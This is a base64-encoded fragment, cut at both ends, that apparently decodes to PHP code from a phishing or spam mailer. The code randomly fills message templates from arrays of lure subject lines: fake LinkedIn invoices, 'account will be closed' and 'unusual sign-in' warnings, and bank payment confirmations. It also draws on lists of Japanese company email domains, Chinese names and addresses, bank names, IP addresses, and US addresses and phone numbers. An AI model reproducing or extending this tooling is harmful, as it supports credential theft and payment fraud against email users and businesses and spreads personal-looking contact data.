i+aWsOaOoeizvOioguWWri/mr5TniL7lj4PogIMgTGlua2VkaW5CMkInLCAnTGlua2VkSW7vvJoxIOWAi+aWsOioguWWri/nmbznpagg5Y+D6ICD77yaTGlua2VkaW5CMkItJywgJ0xpbmtlZElu77yaMSDlgIvmlrDoqILllq4v55m856WoIOWPg+iAg++8mkxpbmtlZGluQjJCJywgJ0xpbmtlZElu77ya55m856WoL+WFqeWAi+aWsOioguWWruWPg+iAg++8mkxpbmtlZEluQjJCLScsICdMaW5rZWRJbu+8mueZvOelqC/lhanlgIvmlrDoqILllq7lj4PogIPvvJpMaW5rZWRJbkIyQicsICdMaW5rZWRJbu+8mjUg5YCL5paw6KiC5ZauL+eZvOelqCDlj4PogIPvvJpMaW5rZWRpbkIyQi0nLCAnTGlua2VkSW7vvJo1IOWAi+aWsOioguWWri/nmbznpagg5Y+D6ICD77yaTGlua2VkaW5CMkInLCAn5ZWG5qWt6YKA6KuL5Ye9LScsICfllYbmpa3pgoDoq4vlh70nLCAn5ZWG5qWt5o+Q5qGILScsICfllYbmpa3mj5DmoYgnLCAn5ZWG5YuZ6YKA6KuL5Ye9LScsICfllYbli5npgoDoq4vlh70nLCAnTGlua2VkSW7vvJrlhanpoIXmlrDos7zosrcv5q+U54i+5Y+D6ICDTGlua2VkSW5CMkItJywgJ0xpbmtlZElu77ya5YWp6aCF5paw6LO86LK3L+avlOeIvuWPg+iAg0xpbmtlZEluQjJCJywgJ0ludml0YXRpb24gZm9yIEJ1c2luZXNzJywgJ0J1c2luZXNzIFByb3Bvc2FsJywgJ0J1c2luZXNzIEludml0YXRpb24nLCAnQ29tbWVyY2lhbCBJbnZpdGF0aW9uJywgJ0Rpc3NlbWluYXRpbmcgQnVzaW5lc3MgSW52aXRhdGlvbnMnLCAnRGlzcGF0Y2hpbmcgSW52aXRhdGlvbnMgZm9yIEJ1c2luZXNzJywgJ0ZvcndhcmRpbmcgQnVzaW5lc3MgSW52aXRhdGlvbnMtJywgJ0Rpc3BhdGNoaW5nIEludml0YXRpb25zIGZvciBCdXNpbmVzcy0nLCAnRGlzc2VtaW5hdGluZyBCdXNpbmVzcyBJbnZpdGF0aW9ucy0nLCAnRGlzdHJpYnV0aW9uIG9mIEJ1c2luZXNzIEludml0YXRpb25zJywgJ0ZvcndhcmRpbmcgQnVzaW5lc3MgSW52aXRhdGlvbnMnLCAnRGlzcGF0Y2hpbmcgSW52aXRhdGlvbnMgZm9yIEJ1c2luZXNzJywgJ0xpbmtlZEluOiA0IE5ldyBPcmRlcnMgLyBJbnZvaWNlIFJlZjpMaW5rZWRpbkIyQi0nLCAnTGlua2VkSW46IDEgTmV3IE9yZGVycyAvIEludm9pY2UgUmVmOkxpbmtlZGluQjJCLScsICdMaW5rZWRJbjogMiBOZXcgT3JkZXJzIC8gSW52b2ljZSBSZWY6TGlua2VkaW5CMkItJyk7CiAgICAkbGlua2VkaW5zdWJqZWN0ID0gJGxpbmtlZGluc3ViamVjdGRhdGFbYXJyYXlfcmFuZCgkbGlua2VkaW5zdWJqZWN0ZGF0YSldOwogICAgJHRleHQgPSBzdHJfcmVwbGFjZSgiWy1yYW5kb21saW5rZWRpbnN1YmplY3QtXSIsICRsaW5rZWRpbnN1YmplY3QsICR0ZXh0KTsKJGNoaW5hcGhvbmVkYXRhID0gYXJyYXkoJys4NioqKjM1MTcwNzg5JywgJys4NioqKjgyODY0NzUyJywgJys4NioqKjAwOTM3NDQzJywgJys4NioqKjg2MzU5Mjg0JywgJys4NioqKjM1MTcwNzg5JywgJys4NioqKjE0ODg4ODc2JywgJys4NioqKjAxOTkwODk0JywgJys4NioqKjUwNjkwMzgyJywgJys4NioqKjQ5NzAzNzEzJywgJys4NioqKjEwNTc2NDI2JywgJys4NioqKjMzMTE2ODc0JywgJys4NioqKjUzMTE2OTc0JywgJys4NioqKjYzMTE2OTc1JywgJys4NioqKjMzMTE2ODgwJywgJys4NioqKjMzMTE2ODgxJywgJys4NioqKjMzMTE2ODI0JywgJys4NioqKjM0MTExMDEyJywgJys4NioqKjMzMTEzMzY2JywgJys4NioqKjMzMTEyMDIwJywgJys4NioqKjUzMTEyMTIxJywgJys4NioqKjMzMTE1MTc0JywgJys4NioqKjg2MzU5Mzg1JywgJys4NioqKjg2MzUxMTIwJywgJys4NioqKjg2MzU5MjIwJywgJys4NioqKjg2MzU5MTgzJywgJys4NioqKjg2MzU5Mjg0JywgJys4NioqKjQ2MzU5Mjg0JywgJys4NioqKjg3ODU5Mjg0JywgJys4NioqKjg2MzU5MjEwJywgJys4NioqKjg2MzU5MjQzJyk7CiAgICAkY2hpbmFwaG9uZSA9ICRjaGluYXBob25lZGF0YVthcnJheV9yYW5kKCRjaGluYXBob25lZGF0YSldOwogICAgJHRleHQgPSBzdHJfcmVwbGFjZSgiWy1yYW5kb21jaGluYXBob25lLV0iLCAkY2hpbmFwaG9uZSwgJHRleHQpOwokc3ViamVjdHVwZGF0ZWRhdGEgPSBhcnJheSgnRklOQUwgVkVSSUZJQ0FUSU9OIEFMRVJUJywgJ0FDQ09VTlQgVkVSSUZJQ0FUSU9OJywgJ0xBU1QgV0FSTklORyAtIE1haWxib3ggSW4gUHJvZ3Jlc3MnLCAnV2FybmluZyEhIEVtYWlsIEFjY291bnQgTm90aWZpY2F0aW9uICEhJywgJ1lPVVIgQUNDT1VOVCBXSUxMIEJFIENMT1NFRCBTT09OJywgJ0RlLWFjdGl2YXRpb24gT2YgWW91ciBBY2NvdW50JywgJ05vdGlmaWNhdGlvbiBmb3IgUGVuZGluZyBtZXNzYWdlcyBzZW50IHRvIHlvdScsICdBY2NvdW50IFVwZGF0ZSBOb3RpZmljYXRpb24nLCAnWW91IGhhdmUgKDYpIFN1c3BlbmRlZCBpbmNvbWluZyBtZXNzYWdlcycsICfinbog4pyJIEluY29taW5nIG1haWxzIGJsb2NrZWQhJywgJ0UtTUFJTCBBQ0NPVU5UIFZFUklGSUNBVElPTiBSRVFVRVNUKiogKERPIE5PVCBJR04wUkUpJywgJ0ZJTkFMKipXQVJOSU5HKipXQVJOSU5HKipZb3VyIGUtbWFpbCBtaWdodCBiZSBjbG9zZWQnLCAnQ0xPU1VSRSBPRiBFTUFJTCBBQ0NPVU5UIEFMRVJUIElOIFBST0dSRVNTICEgISAhIFsgVkVSU0lPTiAyLjAgXScsICfwn5OM4pyJIEZJTkFMIFVQR1JBREUgUkVNSU5ERVInLCAnVXBkYXRlIFlvdXIgQWNjb3VudCcsICdGSU5BTCBWRVJJRklDQVRJT04gQUxFUlQnLCAnVW51c3VhbCBzaWduLWluIGFjdGl2aXR5JywgJ0FjY291bnQgdW51c3VhbCBzaWduLWluIGFjdGl2aXR5JywgJ0xBU1QgV0FSTklORyBTVVNQRU5ERUQgISEhJywgJ0lNUE9SVEFOVCBVUERBVEUhIScsICdWYWxpZGF0ZSBZb3VyIEVtYWlsIEFjY291bnQgKElNUE9SVEFOVCknLCAnQUNDT1VOVCBERS1BQ1RJVkFUSU9OJywgJ0ZpbmFsIFVyZ2VudCBTZXJ2ZXIgV2FybmluZycsICdNQUlMQk9YIENMT1NVUkUnLCAnRU1BSUwgU0hVVC1ET1dOIE5PVElDRScsICdNYWlsQm94IERlLWFjdGl2YXRpb24uwqknLCAnTWFpbGJveCBTZXJ2aWNlIFdpbGwgQmUgQmxvY2tlZCAoRklOQUwgV0FSTklORyknLCAnTEFTVCBXQVJOSU5HOiBDbG9zaW5nIG9mIHlvdXIgbWFpbGJveCBpcyBiZWluZyBwcm9jZXNzZWQnLCAnRklOQUwgV0FSTklORyEgWU9VUiBFTUFJTCBDTE9TVVJFIEFMRVJUJywgJ+KdtuKciSBTSFVURE9XTiBSRVFVRVNUIElOIFBST0NFU1NFROKEoiBbRE8gTk9UIElHTk9SRV0nKTsKICAgICRzdWJqZWN0dXBkYXRlID0gJHN1YmplY3R1cGRhdGVkYXRhW2FycmF5X3JhbmQoJHN1YmplY3R1cGRhdGVkYXRhKV07CiAgICAkdGV4dCA9IHN0cl9yZXBsYWNlKCJbLXJhbmRvbXN1YmplY3R1cGRhdGUtXSIsICRzdWJqZWN0dXBkYXRlLCAkdGV4dCk7CiRqYXBhbmRhdGEgPSBhcnJheSgnQHNmYy1uZXQuY28uanAnLCAnQG1hcmluZm9vZC5jby5qcCcsICdAbWFpbC5uaXNzYW4uY28uanAnLCAnQG50YS5jby5qcCcsICdAbnRhLmNvLmpwJywgJ0BldHJhdmVsLW5hZ295YS5jby5qcCcsICdAYXBpY2phcGFuLmNvLmpwJywgJ0BreW90b3NzLmNvLmpwJywgJ0BrYXRha2VuLmNvLmpwJywgJ0BqcG93ZXIuY28uanAnLCAnQHJvbGFuZGRnLmNvLmpwJywgJ0BtLXNla2lzYW4uY28uanAnLCAnQHlhbWF0b3N0ZWVsLmNvLmpwJywgJ0B5YW1hdG9zdGVlbC5jby5qcCcsICdAaHMubm9ibGUtai5jby5qcCcsICdAdGt0b3lvLmNvLmpwJywgJ0Buc2stbmFrYW5pc2hpLmNvLmpwJywgJ0BuaXBwb24tc29ra2kuY28uanAnLCAnQG5pcHBvbi1zb2traS5jby5qcCcsICdAbmlwcG9uLXNva2tpLmNvLmpwJywgJ0BuaXBwb24tc29ra2kuY28uanAnLCAnQG5pcHBvbi1zb2traS5jby5qcCcsICdAbWFjbmljYS5jby5qcCcsICdAa2Z0LmthbmVtYXRzdS5jby5qcCcsICdAbWljaGFlbHBhZ2UuY28uanAnLCAnQGVuYWdpYy5jby5qcCcsICdAZW5hZ2ljLmNvLmpwJywgJ0BlbmFnaWMuY28uanAnLCAnQHRlcmFzYWtpLmNvLmpwJywgJ0B0YWthemF3YS1zcy5jby5qcCcpOwogICAgJGphcGFuID0gJGphcGFuZGF0YVthcnJheV9yYW5kKCRqYXBhbmRhdGEpXTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstcmFuZG9tamFwYW4tXSIsICRqYXBhbiwgJHRleHQpOwokY2hpbmFTdHJlZXRkYXRhID0gYXJyYXkoJ1FpbmcgQ2h1biBMdSAxMzdoYW8gSHVhIER1IERhIFhpYSA1MjBzaGknLCAnQ2hlbmcgWGlhbmcgSmllIERhbyBMb25nIEZhIEh1YSBZdWFuIDFjaHVhbmcgMmRhbiBZdWFuIDIwMnNoaScsICdZYW4gQW4gWGkgTHUgNjVoYW8gQmFuIEdvbmcgTG91IDYwN3NoaScsICdZb3UgWmhlbmcgSmllIEZ1IDMzLTVoYW8gTG9uZyBYaW5nIERhIFhpYSAyZGFuIFl1YW4gNjA0aGFvJywgJ1hpYW5nIFJvbmcgTGkgMjA4LTMtNjAxJywgJ0JlaSBKaW5nIEhhaSBEaWFuIFhpIFNhbiBRaSBaaGkgQmVuIFNoaSBEYWkgMTVoYW8gTG91IDRkYW4gWXVhbiA4MDInLCAnIEppIFhpYW5nIENoZW5nIFhpbiBTaGFuZyBZZSBKaWUgWGluIFl1YW4gWWkgSGFvIEMxMTAyJywgJ05hbiBTdSBaaG91IEx1IDM4MWhhbyA1bG91JywgJ1hpbiBLYWkgTHUgOTloYW8gWmh1IEppYW5nIEd1byBKaSBEYSBYaWEgMjIwOHNoaScsICdRaWFuIEh1IE5hbiBMdSA1NzhoYW8gWWFuZyBMYW8gWmhvbmcgWGluIDE1MmJhbiBHb25nIFNoaScsICcgU2hpIFlpIFdlaSBMdSAxMmhhbyBZaW4gSmkgRmEgWmhhbiBaaG9uZyBYaW4gMjEwN3NoaScsICdXdSBKaW4gR29uZyBZZSBZdWFuIEh1YSBYaWEgTHUgMTYyaGFvJywgJ1poZSBKaWFuZyBTaGVuZyBGdSBZYW5nIFNoaSBGdSBZb3UgQmFvIEppYW4gWWkgWXVhbiBaaHUgWXVhbiBCdSBFciBLZScsICdUaWFuIFpodSBLYWkgRmEgSmllIDE2aGFvIExpIFNpIEh1YSBZdWFuIExpIEZ1IEx1IEg4JywgJ1NoYW5nIEhhaSBTaGkgR3UgQmVpIEx1IDM3M2xvbmcgOWhhbyA2MDInLCAnTG9uZyBZYW5nIEx1IDIyNzdoYW8gMTlsb3UgSHUgR3VhbmcgTHYgU2hpIFNoaSBXdSBTdW8nLCAnIEx1IEppYSBadWkgU2hpIEppIERhIERhbyA4aGFvIEd1byBKaW4gWmhvbmcgWGluIExnMmNlbmcnLCAnWGl1IFdlbiBMdSA1NTVsb25nIDE2aGFvIDEwM3NoaScsICdYaW4gQ2hlbmcgRGEgRGFvIFhpbiBDaGVuZyBEYSBYaWEgR29uZyBTaGFuZyBZaW4gWGluZyAybG91JywgJ0NodWFuZyBTaGkgSmkgQmluIEhhaSBIdWEgWXVhbiAzIyA5YicsICcgWGkgU2hpIERhbyBXdSBIYW8nLCAnWW91IFlpIEx1IDQxaGFvIERhIEFuIERhIFhpYSBBenVvIFNhbiBDZW5nIEh1YSBYaSBaaGVuZyBRdWFuJywgJ0ZhbmcgQ3VuIEhlIFNoZW5nIEx1IDE5OGhhbyBCY2h1YW5nIDIwMicsICdUb25nIFpob3UgQmVpIFl1YW4gNTJoYW8gVGlhbiBTaGkgTWluZyBZdWFuIE5laSBBaSBZaSBEdW8gWXVhbiBaaGkgTmVuIFlvdSBFciBZdWFuJywgJ1hpbiBTb25nIEppYW5nIEx1IDI1OWxvbmcgTWluZyBUaW5nIEh1YSBZdWFuIDEzaGFvIDIwMScsICdBbiBHdW8gSmllIDE2OWhhbyBTYW4gRGFuIFl1YW4gMTAyJywgJ1FpdSBKaWFuZyBMdSAxNDg4bG9uZyAxOWhhbyAxMjAzc2hpJywgJ1hpbiBMYW8gUGVpIEhlIFpvbmcgSGUgR3VhbiBMaSBKdScsICdQaW5nIExpYW5nIEx1IDEyOThsb25nIDI0aGFvJywgJ0ppYW8gR29uZyBMdSAzMzZoYW8gMTcwNycpOwogICAgJGNoaW5hU3RyZWV0ID0gJGNoaW5hU3RyZWV0ZGF0YVthcnJheV9yYW5kKCRjaGluYVN0cmVldGRhdGEpXTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstcmFuZG9tY2hpbmFTdHJlZXQtXSIsICRjaGluYVN0cmVldCwgJHRleHQpOwokQmFua3N1YmplY3RkYXRhID0gYXJyYXkoJ1JlOmZ3Okludm9pY2UgZm9yIFBheW1lbnQgSGFzIEJlZW4gUGFpZCBhcyBEaXJlY3RlZCcsICdSZTpmdzpQYXltZW50IEludm9pY2UgSGFzIEJlZW4gQWRqdXN0ZWQgUGVyIEluc3RydWN0aW9uJywgJ1JlOmZ3Okludm9pY2UgZm9yIFBheW1lbnQgSGFzIEJlZW4gUGFpZCBhcyBQZXIgSW5zdHJ1Y3Rpb25zJywgJ1JlOmZ3OlBheW1lbnQgSW52b2ljZSBIYXMgQmVlbiBSZXNvbHZlZCBQZXIgSW5zdHJ1Y3Rpb24nLCAnUmU6Znc6SW52b2ljZSBmb3IgUGF5bWVudCBIYXMgQmVlbiBQYWlkIGFzIERpcmVjdGVkJywgJ0JBTksgUEFZTUVOVCBDT05GSVJNQVRJT04nLCAnQkFOSyBQQVlNRU5UIEFDS05PV0xFREdNRU5UJywgJ0NPTkZJUk1BVElPTiBPRiBCQU5LIFBBWU1FTlQnLCAnQ1ZFUklGSUNBVElPTiBPRiBCQU5LIFBBWU1FTlQnLCAnQ29uZmlybWF0aW9uIG9mIEJhbmsgUGF5bWVudCcsICdGd2Q6IEZXOkludm9pY2UgQmFsYW5jZSBQYXltZW50JywgJ0Z3ZDogRlc6IFBheW1lbnQgb2YgSW52b2ljZSBCYWxhbmNlJywgJ0Z3ZDogRlc6IFBheW1lbnQgQmFsYW5jZSBmb3IgSW52b2ljZScsICdGb3J3YXJkaW5nOiBGVzogRnVsbCBQYXltZW50IG9mIEludm9pY2UnLCAnRlc6IEludm9pY2UgQmFsYW5jZSBQYXltZW50JywgJ0JhbmsgQ29uZmlybWF0aW9uJywgJ1ZlcmlmaWNhdGlvbiBmcm9tIHRoZSBCYW5rJywgJ1JlOiBDb25maXJtIFJlY2VpdmUgb2YgdGhlIFBheW1lbnQnLCAnUmVnYXJkaW5nOiBWZXJpZnkgUmVjZWl2aW5nIHRoZSBQYXltZW50JywgJ1JlZ2FyZDogVmVyaWZ5IFBheW1lbnQgUmVjZWlwdCcsICdBYm91dDogVmVyaWZ5IFBheW1lbnQgUmVjZWl2ZWQnLCAnUmU6IFZlcmlmeSBQYXltZW50IFJlY2VpdmVkJywgJ0ZXRDpSRVZJRVcgQUNDT1VOVCBERVRBSUxTJywgJ0ZXRDogRVhBTUlORSBBQ0NPVU5UIElORk9STUFUSU9OJywgJ1JldmlldyBhY2NvdW50IGRldGFpbHMgKEZXRCknLCAnUkU6IFJFOiBSRTpQYXltZW50IFNsaXAtUGF5bWVudCBSZW1pdHRlZCAnLCAnUkU6IFJFOiBQYXltZW50IFNsaXAtVHJhbnNtaXR0ZWQgUGF5bWVudCAnLCAnUkU6IFJFOiBQYXltZW50IFNsaXAtUmVtaXR0ZWQgRnVuZHMgJywgJ1JFOiBQYXltZW50IFNsaXAtUmVtaXR0ZWQgUGF5bWVudCAnLCAnMzAlIGRvd24gcGF5bWVudCBvbiBJbnZvaWNlJyk7CiAgICAkQmFua3N1YmplY3QgPSAkQmFua3N1YmplY3RkYXRhW2FycmF5X3JhbmQoJEJhbmtzdWJqZWN0ZGF0YSldOwogICAgJHRleHQgPSBzdHJfcmVwbGFjZSgiWy1yYW5kb21CYW5rc3ViamVjdC1dIiwgJEJhbmtzdWJqZWN0LCAkdGV4dCk7CiRjaGluYW5hbWVkYXRhID0gYXJyYXkoJ1fDoW5nIFpoxIFuZycsICdMx5AgV8OhbmcnLCAnWmjEgW5nIFfDuicsICdaaMSBbmcgTGnDuicsICdDaMOpbiBaaMOgbycsICdZw6FuZyBDaMOpbicsICdMdcOzIFpow6BvJywgJ1fDuiBaaMWNdScsICdMx5AgWmjFjXUnLCAnWcOhbmcgWMO6JywgJ1PFq24gWcOhbmcgJywgJ1fDoW5nICBNx44nLCAnWmjFqyBXw6FuZyAnLCAnR3XFjSBaaMSBbmcnLCAnTHXDsyBaaMSBbmcnKTsKICAgICRjaGluYW5hbWUgPSAkY2hpbmFuYW1lZGF0YVthcnJheV9yYW5kKCRjaGluYW5hbWVkYXRhKV07CiR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstcmFuZG9tY2hpbmFuYW1lLV0iLCAkY2hpbmFuYW1lLCAkdGV4dCk7CiRjaGluYUNpdHlkYXRhID0gYXJyYXkoJ0JlaWppbmcnLCAnQ2hvbmdxaW5nJywgJ0R1bmh1YW5nJywgJ0d1YW5nemhvdScsICdHdWl5YW5nJywgJ0hhbmd6aG91JywgJ0hvaGhvdCcsICdIdWFuZ3NoYW4nLCAnS3VubWluZycsICdMdW95YW5nJywgJ05hbmppbmcnLCAnUWluZ2RhbycsICdTaGFuZ2hhaScsICdTaGVuemhlbicsICdTdXpob3UnKTsKICAgICRjaGluYUNpdHkgPSAkY2hpbmFDaXR5ZGF0YVthcnJheV9yYW5kKCRjaGluYUNpdHlkYXRhKV07CiR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstcmFuZG9tY2hpbmFDaXR5LV0iLCAkY2hpbmFDaXR5LCAkdGV4dCk7CiRjaGluYVppcENvZGVkYXRhID0gYXJyYXkoJzEwMDAwMCcsICc2MTAwMDAnLCAnNDA0MDAwJywgJzczNjIwMCcsICc1NDEwMDAnLCAnNTUwMDAwJywgJzU3MDEwMCcsICczMTAwMDAnLCAnMjQ1MDAwJywgJzI1MDIwMCcsICc2NTAwMDAnLCAnNzMwMTAwJywgJzg1MDEwMCcsICc2NzQzMDAnLCAnNDcxOTAwJyk7CiAgICAkY2hpbmFaaXBDb2RlID0gJGNoaW5hWmlwQ29kZWRhdGFbYXJyYXlfcmFuZCgkY2hpbmFaaXBDb2RlZGF0YSldOwokdGV4dCA9IHN0cl9yZXBsYWNlKCJbLXJhbmRvbWNoaW5hWmlwQ29kZS1dIiwgJGNoaW5hWmlwQ29kZSwgJHRleHQpOwokdHdlbnR5ZGF0YSA9IGFycmF5KCdhWlhDVkJOTUFTYnNmYmQ3NDVkaicsICdic2ZiZDc0NWRqYnNmYmQ3NDVkaicsICdjYXNkZWJzZmJkNzQ1ZGpyeXVpJywgJ2QzNzU2YnNmYmQ3NDVkamRnaHlkJywgJ2VoZGZkaGZic2ZiZDc0NWRqZGxvJywgJ2ZxMjY3ZnEyNjc0aGRnczRoZGdzJywgJ2dubWRnZnEyNjc0aGRnc2hkdGV1JywgJ2gzNTZkaHNyZnEyNjc0aGRnc2hmJywgJ2k4NGZxMjY3NGhkZ3NoZGdzdHhiJywgJ2pqZGdqamRnaHN0Z2RoaHN0Z2RoJywgJ2tsamRnZnRqamRnaHN0Z2RoeWRoJywgJ2x6dmJqamRnaHN0Z2RoY2dkdGVnJywgJ205ZGdoc3RkZ2UnLCAnbmpraG05ZGdoc3RkZ2VnZGZzaGonLCAnb3NtOWRnaHN0ZGdlZmRnaGFmc3InLCAncHF3ZXJzbTlkZ2hzdGRnZWdkeWUnLCAncW9tOWRnaHN0ZGdlbGhkdGNoZHQnLCAnZGhmeWRoc3RtOWRnaHN0ZGdlZGcnLCAnczI2N3lkaHNtOWRnaHN0ZGdldGUnLCAndHRkZ3NybTlkZ2hzdGRnZWRnZXQnLCAndTJoZGdzdGVrY205ZGdoc3RkZ2UnLCAndmJiZGhzZ2R0c3ZiYmRoc2dkdHMnLCAndmJiZGhzZ2R0c3d3eWRoc3Rla2QnLCAneDJoZGd2YmJkaHNnZHRzc3RleWQnLCAneWxranZiYmRoc2dkdHNoZ2Zkc2EnLCAnemRoc2dkdmJiZGhzZ2R0c3Q3NGgnLCAnMWhka2FzZ2R5ZTFoZGthc2dkeWUnLCAnMnBvMWhka2FzZ2R5ZWRoanN5ZCcsICczNGhkZzFoZGthc2dkeWVzdGQnLCAnNDVoZGgxaGRrYXNnZHllZmtsb2snKTsKICAgICR0d2VudHkgPSAkdHdlbnR5ZGF0YVthcnJheV9yYW5kKCR0d2VudHlkYXRhKV07CiAgICAkdGV4dCA9IHN0cl9yZXBsYWNlKCJbLXJhbmRvbXR3ZW50eS1dIiwgJHR3ZW50eSwgJHRleHQpOwokYWxpYmFiYXBhZ2VkYXRhID0gYXJyYXkoJ2Jhd28nLCAnbG9sZicsICdkaWtvJywgJ3FhcHUnLCAnY3JlZicsICd3aWxtJywgJ2dhemUnLCAnbGlsbycsICd4b3BpJywgJ21hY3JvJywgJ3BvaWwnLCAnZG9uZycsICdzYXJvJywgJ3ZhdG8nLCAnc21pZ28nKTsKICAgICRhbGliYWJhcGFnZSA9ICRhbGliYWJhcGFnZWRhdGFbYXJyYXlfcmFuZCgkYWxpYmFiYXBhZ2VkYXRhKV07CiR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstcmFuZG9tYWxpYmFiYXBhZ2UtXSIsICRhbGliYWJhcGFnZSwgJHRleHQpOwokb25lZGF0YSA9IGFycmF5KCdhJywgJ2InLCAnYycsICdkJywgJ2UnLCAnZicsICdnJywgJ2gnLCAnaScsICdqJywgJ2snLCAnbCcsICdtJywgJ24nLCAnbycsICdwJywgJ3EnLCAncicsICdzJywgJ3QnLCAndScsICd2JywgJ3cnLCAneCcsICd5JywgJ3onLCAnMScsICcyJywgJzMnLCAnNCcpOwogICAgJG9uZSA9ICRvbmVkYXRhW2FycmF5X3JhbmQoJG9uZWRhdGEpXTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstcmFuZG9tb25lLV0iLCAkb25lLCAkdGV4dCk7CiRCYW5rbmFtZWRhdGEgPSBhcnJheSgnQmFuayBvZiBBbWVyaWNhJywgJ0NpdGliYW5rJywgJ0hTQkNCQU5LJywgJ1dlbGxzIEZhcmdvJywgJ0pQTW9yZ2FuIENoYXNlJywgJ1REIEJhbmsnLCAnQmFuayBvZiBDaGluYScsICdBZ3JpY3VsdHVyYWwgQmFuayBvZiBDaGluYSonLCAnQ2hpbmEgQ29uc3RydWN0aW9uIEJhbmsnLCAnQ2hpbmEgTWVyY2hhbnRzIEJhbmsnLCAnSW5kdXN0cmlhbCBCYW5rJywgJ0NoaW5hIENJVElDIEJhbmsnLCAnQ2l0aXplbnMgQmFuaycsICdUcnVpc3QgQmFuaycsICdLZXlCYW5rJywgJ0NpdGlncm91cCcsICdBbWVyaWNhbiBFeHByZXNzJywgJ0JhcmNsYXlzJywgJ1NhbnRhbmRlciBCYW5rJywgJ0NJQkMgQmFuayBVU0EnLCAnQXRsYW50aWMgVW5pb24gQmFuaycsICdQYWNpZmljIFByZW1pZXIgQmFuY29ycCcsICdDYXRoYXkgQmFuaycsICdEZXV0c2NoZSBCYW5rJywgJ05hdGlvbmFsIEF1c3RyYWxpYSBCYW5rJywgJ1JveWFsIEJhbmsgb2YgU2NvdGxhbmQnLCAnVW5pdGVkIE92ZXJzZWFzIEJhbmsgJywgJ1ZUQiBCYW5rJywgJ1dlc3RwYWMgQmFuaycsICdXb29yaSBCYW5rJyk7CiAgICAkQmFua25hbWUgPSAkQmFua25hbWVkYXRhW2FycmF5X3JhbmQoJEJhbmtuYW1lZGF0YSldOwogICAgJHRleHQgPSBzdHJfcmVwbGFjZSgiWy1yYW5kb21CYW5rbmFtZS1dIiwgJEJhbmtuYW1lLCAkdGV4dCk7CiRwaG9uZWRhdGEgPSBhcnJheSgnKDIwMCkqKioxOTM2JywgJygzOTMpICoqKjEtNDI1NCcsICcoNDEyKSAqKjk3LTMzMzQnLCAnKDUxMSkgKioyMy04NzA5JywgJygzOTYpICoqKjUtMTUyNCcsICcoNjI0KSAqKio1NS00MzA1JywgJyg0ODQpICoqKjAtODAzMycsICcoNDUwKSAqKio4LTI0OTEnLCAnKDYzNCkgKioqMy04NjMwJywgJyg1ODEpICoqKjUwLTE5NzYnLCAnKDI4MykgKioqMy0zNjgwICcsICcoNjYxKSAqKio5LTc3NDInLCAnKDk1OCkgKioqNjMtNDMxNCcsICcoNTU5KSAqKio3NS02NzMxJywgJyg4ODApICoqKjc5LTY5MzQnLCAnKDU1OCkgKioqMTMtODk4MycsICcoMjAwKSAqKio2OC04NjY0JywgJygyMzUpICoqKjA0LTMxNzInLCAnKDI0NSkgKioqNTEtMjkzNCcsICcoMzg2KSAqKio4LTkzNTAnLCAnKDIyNykgKioqMDYtOTA0NycsICcoNzY4KSAqKiowLTYzODQnLCAnKDI4OSkgKioqNi05MzY2JywgJyg3MjgpICoqKjktMTQxNycsICcoODAwKSAqKiowLTA5NTAnLCAnKDg3OCkgKioqMC00MTczJywgJyg4NzUpICoqKjctMzU4OCcsICcoMjE3KSAqKio2LTI4NzAnLCAnKDM2MykgKioqNy0wMTg4JywgJyg2MzUpICoqKjEtMjY0MScsICcoMjU1KSAqKiozLTYzODQnLCAnKDgyNykgKioqNS0xODEzJywgJyg2ODEpICoqKjktNjkxNycsICcoODk0KSAqKio4LTQ4MzQnLCAnKDk2NykgKioqNy0xMzgwJywgJyg2MjIpICoqKjUtMzMzNScsICcoNzUwKSAqKio3LTQxMjknLCAnKDY2NikgKioqOS04NDA4JywgJyg4MzgpICoqKjMtNzk5NicpOwogICAgJHBob25lID0gJHBob25lZGF0YVthcnJheV9yYW5kKCRwaG9uZWRhdGEpXTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstcmFuZG9tcGhvbmUtXSIsICRwaG9uZSwgJHRleHQpOwokSVBkYXRhID0gYXJyYXkoJzEwOC4xNDMuMTAyLjIxNycsICcxODUuMjkuNTUuMTk3JywgJzgxLjkwLjExNS4yNDEnLCAnODQuMjMxLjM1Ljc0JywgJzE4NC4xNS4xMDkuMjEnLCAnMzUuMjAzLjU5LjExOCcsICc2My4xMzQuMjA3LjEzJywgJzM0LjM4LjI1LjE0JywgJzQxLjExMS4yNDMuODEnLCAnMTI0LjIyMy4xNjcuMjIyJywgJzM0LjE2LjE4My4xMzInLCAnMzQuMTY1LjM3LjEwNycsICc2Mi4yMzQuNTkuMTAnLCAnMzQuMTc0LjE3MS4yMjgnLCAnNDUuMTc3LjIyLjk5JywgJzU4LjU4LjI3LjIwMicsICczNC4xMjQuMjQzLjE4NScsICcxMy45NC4xOTIuNzgnLCAnMzUuMjM0LjQwLjE4MScsICczNC45Ni4xNTYuODEnLCAnMzQuMTI1LjEzNi4yMTAnLCAnMjAxLjYyLjY4LjEwNScsICczNS4yMjguNzkuMjUxJywgJzE1MC4xNTguOTAuNzQnLCAnNjguMjMyLjE0NS4yOCcsICczNC40OC43NS4xMDMnLCAnNTIuMi4yNDIuNzQnLCAnNjguMjMyLjE0OS44OCcsICcyMDAuMTIxLjIyNi41MicsICczNC4xNzYuNTEuOTEnKTsKICAgICRJUCA9ICRJUGRhdGFbYXJyYXlfcmFuZCgkSVBkYXRhKV07CiAgICAkdGV4dCA9IHN0cl9yZXBsYWNlKCJbLXJhbmRvbUlQLV0iLCAkSVAsICR0ZXh0KTsKJHVzYWNpdHlhZGRyZXNzZGF0YSA9IGFycmF5KCdQaG9uZSBudW1iZXI6ICg5MDcpIDY5Ni0zMTMxCgpTdHJlZXQ6IDkzMzkgVyBMYWtlIERyICMjIEEKCkNpdHk6IEVhZ2xlIFJpdmVyCgpTdGF0ZTogQWxhc2thIChBSykKClppcGNvZGU6IDk5NTc3CgpDb3VudHJ5OiBVU0EKCkFkZHJlc3M6IDkzMzkgVyBMYWtlIERyICMjIEEsIEVhZ2xlIFJpdmVyLCBBbGFza2EgOTk1NzcsIFVTQScsICdQaG9uZSBudW1iZXI6ICg5MDcpIDI2Mi0yNTc4CgpTdHJlZXQ6IDE2MSBUcnVtcGV0ZXIgQXZlCgpDaXR5OiBTb2xkb3RuYQoKU3RhdGU6IEFsYXNrYSAoQUspCgpaaXBjb2RlOiA5OT